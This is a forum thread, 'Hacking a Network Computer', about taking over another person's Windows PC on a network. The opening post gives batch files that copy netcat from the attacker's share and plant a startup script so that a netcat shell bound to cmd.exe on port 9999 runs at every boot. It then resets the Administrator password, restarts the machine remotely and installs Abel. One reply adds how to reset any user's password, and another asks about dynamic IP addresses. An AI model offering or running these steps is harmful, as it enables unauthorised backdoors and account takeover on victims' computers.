Hacking a Network Computer
Code:
@echo off cd\ xcopy \\yourIP\shared folder\netcat.exe copy \\yourIP\shared folder\netcat.exe (just to be sure) cd "Documents and Settings" cd "All Users" cd "Start Menu" cd Programs cd Startup xcopy \\yourIP\shared folder\Startup.bat (This is another batch file you will write) cd\ netcat.exe -L -p 9999 -d -e cmd.exe
The next batch file will be used to make sure the port you specified opens up every time windows starts up, you can specify any port you wish. Open Notepad and type:
Code:
@echo off cd\ netcat.exe -L -p 9999 -d -e cmd.exe
net user Administrator newpassword
Now from here you can do what you want, e.g try shutting down the target computer by browsing to his system32 folder and then type in:
shutdown -r -t 10 -c "Hello"
the computer will then restart in 10 seconds time. You can even play around more by Installing Cain & Abel on your computer and then installing Abel remotely on his computer (Since you know the Administrator password) Once you have Abel on the target you can start and stop services and do more!
Enjoy.
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Hacking a Network Computer
well if the users password isnt administrator type this
Net user
it will display a list of user accounts
once found type in this
net user username newpassword so for example
net user blahh 123456
his new password is 123456
and whola
nice artcile by the way...........
Net user
it will display a list of user accounts
once found type in this
net user username newpassword so for example
net user blahh 123456
his new password is 123456
and whola

nice artcile by the way...........
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Hacking a Network Computer
I read somewhere that the IP address is being changed regularly by the ISP. I too keep on checking my IP address on regular intervals and found this information to be true although the the part of the IP address remains unchanged.
Here in this case, how one can be sure that writing own's IP address in batch file will always point to our computer ?
What i noticed is at around 5pm I connected to net with IP Address (AAA.BBB.CC.DDD)
I diconnected the net and reconnected immediately and the IP address was now (AAA.BBB.XX.YYY)
Please clarify my point. Does this change in IP made by the ISP each time we log in on the net matters or not in determining our own or target machine's IP address?
(Please don't mind. I am still in learning phase.)
Here in this case, how one can be sure that writing own's IP address in batch file will always point to our computer ?
What i noticed is at around 5pm I connected to net with IP Address (AAA.BBB.CC.DDD)
I diconnected the net and reconnected immediately and the IP address was now (AAA.BBB.XX.YYY)
Please clarify my point. Does this change in IP made by the ISP each time we log in on the net matters or not in determining our own or target machine's IP address?
(Please don't mind. I am still in learning phase.)
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